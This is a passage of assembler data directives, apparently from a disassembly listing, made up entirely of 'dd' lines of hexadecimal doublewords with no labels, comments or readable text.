0AB00E5B4h, 3B63F059h dd 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h, 0D443BA00h dd 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh, 0E6004298h dd 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h dd 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h dd 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h, 2A008DADh dd 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h dd 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h dd 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh dd 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh dd 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h dd 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h dd 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h dd 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h dd 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h dd 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h, 0AF81910h dd 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h dd 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h dd 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h dd 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h dd 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh dd 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h dd 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h dd 39403Ch, 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h dd 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h dd 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h dd 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah dd 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h dd 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h dd 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h dd 4E182Ah, 0C9825CA6h dd 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h dd 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch dd 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh dd 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch dd 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh dd 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch, 8E00BBD6h dd 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh, 4B214E01h dd 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h, 0F8CA5D1Ch dd 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h, 4500DA0Fh dd 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h, 5C06607Dh dd 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h dd 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh, 1CC9043h dd 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh dd 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh, 3101B9EDh dd 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh, 0AFBC683Eh dd 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h, 14F45A00h dd 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh, 0B8EE6902h dd 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh, 770E8960h dd 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h, 6ABE5A7Ch dd 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h, 5660A06Dh dd 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h, 458EDE1Eh dd 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h, 31EFBB83h dd 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h, 1DA2838Bh dd 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h, 22C44FACh dd 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h, 12E081DCh dd 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh, 0D51AC435h dd 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h dd 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h dd 0FE32AD61h, 42140063h, 50628864h, 8E676973h, 3F838A10h dd 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h, 589F4403h dd 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh, 0CCAA2700h dd 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch dd 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h dd 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh, 75330518h dd 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch, 753AAC68h dd 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh dd 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h, 5CE6B033h dd 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h dd 534B8F40h, 76008778h, 0D1D77F2h, 8F010h, 8C022249h dd 53140446h, 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh dd 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h dd 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh, 8771EC0Eh dd 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h dd 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h dd 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h dd 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h dd 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h, 0FB22958Bh dd 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h, 500037F7h dd 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h, 95032991h dd 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h dd 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h dd 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h dd 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh dd 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh dd 3E98B2BAh, 99285295h, 513EACB8h, 8370147h, 218E428Fh dd 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh, 0BA120523h dd 8BE7002Eh, 533509D0h, 570040DCh, 39717064h, 4A6C6Ah dd 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh dd 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh dd 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h dd 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h, 0FC2D8580h dd 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h dd 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h dd 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h dd 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h dd 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah, 9BBDEC85h dd 9709DFABh, 5C201656h, 30F90079h, 948DE406h, 3E179500h dd 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h dd 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh dd 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h, 69006C13h dd 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h, 0B700A0EAh dd 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh dd 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h dd 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah dd 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h dd 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h dd 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h dd 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h dd 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh dd 34283D06h, 74399110h, 677200C0h, 62431D70h, 64C30077h dd 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh, 5D405C10h dd 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h dd 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h dd 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h dd 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h dd 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h, 63F816h dd 64535110h, 77712407h, 700073E6h, 62752676h, 777C691Ch dd 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh, 197BC728h dd 0A02A1405h, 955689h, 24848913h, 836AA372h, 0EBF4220Fh dd 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh dd 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h dd 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h dd 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h dd 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h dd 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh dd 401F496Eh, 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch dd 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h dd 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh dd 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h dd 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h, 68056ED0h dd 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h dd 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h, 11F4ADD7h dd 803908C4h, 4EEC4EC9h dd 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh dd 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h dd 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h dd 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch dd 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h dd 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h, 24F397ADh dd 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h, 161506h dd 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h, 4479030Eh dd 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h, 33560071h dd 0FB35C810h, 4002C94h, 34301C84h, 162238h, 0EFFA8068h dd 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h, 74276E61h dd 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h, 18B22C3h dd 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch, 0F0524F0Ch dd 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh, 6C9ED5h dd 0FF558817h, 82297F3h, 0EC832500h, 10111C93h, 5C01750Ch dd 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h, 22155F2Fh dd 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh, 4700EAB8h dd 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh, 0C07B0300h dd 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h, 224E0053h dd 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah, 1BDEFC01h dd 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh, 8A0FFC30h dd 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h, 0B240E8D4h dd 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh, 0C5B55DF8h dd 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh, 0D9ED63E9h dd 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h, 5DFAC244h dd 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h, 0E0380979h dd 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh dd 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h, 34443088h dd 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh dd 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h, 770DA900h dd 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh dd 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh dd 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h dd 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h dd 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h, 0E0987ED6h dd 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h dd 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h dd 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h dd 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh dd 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h dd 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h dd 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h dd 62046942h, 16FA009Bh, 3640C611h, 0B1002266h, 63144D67h dd 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h dd 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h dd 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h dd 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh, 0F081A947h dd 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h, 41020048h dd 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h dd 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h, 0D6CCA7F6h dd 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h dd 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h dd 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h, 69ABD42Fh dd 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h, 0BF99E455h dd 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h, 90C2C788h dd 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h, 0C9744792h dd 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h, 0F762018Ch dd 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh, 9E369CA0h dd 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh, 70038557h dd 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h, 8B005B07h dd 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h dd 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h dd 0F210B329h, 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh dd 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h dd 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h, 0E3000B44h dd 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h, 8000BA0Bh dd 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh dd 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh dd 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h, 24003E96h dd 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h dd 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h dd 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch, 9D0065A1h dd 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh dd 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh dd 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h dd 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh, 0D011AFA3h dd 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h dd 743AE247h, 78A40009h, 405BC083h, 597AF3h, 558AC203h dd 74B81820h, 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch dd 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah dd 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh dd 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh dd 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh dd 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch dd 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh, 97150089h dd 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h, 0FD2F1AF9h dd 627D7E9Bh, 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h dd 5425BA01h, 0F3137565h, 0A5E947EDh, 1117060h, 0A2920D42h dd 0E8AB54B9h, 15FCF141h, 1CC020FCh, 887A1D94h, 84F40F4Fh dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh dd 4203800Eh, 33F7024h, 254FF066h, 138896D5h, 1C004522h dd 270520A8h, 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h dd 71E8F1E0h dd 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h dd 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh dd 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh dd 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h dd 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h dd 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh, 707A4051h dd 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h, 0E3DB3110h dd 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h, 1E1718E1h dd 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h, 0C4597Fh dd 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h, 85CA5803h dd 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h, 0D73529B0h dd 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h, 97D103B9h dd 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h, 0F23F9220h dd 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h, 8BBD20B4h dd 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h, 2157F807h dd 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh, 0D8DBB5F3h dd 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h, 80EA82h dd 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h, 50A75C3Eh dd 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h, 91F6482Eh dd 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh, 27D49A6Fh dd 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h, 80C3692Dh dd 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh, 208057DAh dd 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh, 714A0CAh dd 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h, 0FF64845Ah dd 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h, 9A102B74h dd 344975h, 143A7E39h, 27C3950Fh, 9421AF00h, 22F19DCAh dd 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h, 8880103Dh dd 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h, 0E8FEF50h dd 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h dd 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh dd 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh, 30E18h dd 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh, 269000ACh dd 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h dd 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh dd 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh dd 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h dd 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h dd 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh dd 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h, 7BEA03FAh dd 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h dd 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h, 387450DAh dd 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h dd 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh dd 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h dd 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h dd 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh, 45A4AF00h dd 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h, 872449A6h dd 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h, 1D1CCC66h dd 143EF8h, 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h dd 1C80FA2Ch, 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch dd 0D8C7D8h, 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h dd 17E7524h, 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h dd 0A694C125h, 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh, 94526796h dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h dd 45C63842h, 0C4F964h, 